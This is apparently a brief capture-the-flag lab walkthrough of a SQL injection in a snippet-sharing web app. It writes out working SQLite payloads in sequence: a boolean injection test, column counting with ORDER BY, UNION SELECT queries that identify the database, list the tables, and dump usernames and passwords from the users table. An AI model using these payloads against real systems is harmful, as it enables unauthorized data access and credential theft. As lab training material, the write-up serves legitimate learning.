Level: Easy Points: 10 Type: Daily Challenge
Lab Interface
after viewing any snippet, we have option to share, which gives us link of snippet
Possible SQLi
Using simple payload ' or 1=1— - proves, it is vulnerable to SQLi
' or 1=1— -
finding number of columns
' order by 7-- - gives error, hence the number of column is 6
' order by 7-- -
using ' union select 1,2,3,4,5,sqlite_version()-- - confirm database is sqlite, visit here for more info
' union select 1,2,3,4,5,sqlite_version()-- -
dumping table names using
users table looks interesting.
users
Next: dumping column names from table users
dumping username and password columns from users table
username
password
Last updated 3 months ago
' union select 1,2,3,4,5,group_concat(tbl_name) from sqlite_master where type='table'-- -
' union select 1,2,3,4,5,group_concat(name) from PRAGMA_TABLE_INFO('users')-- -
' union select 1,2,3,4,username,password from users-- -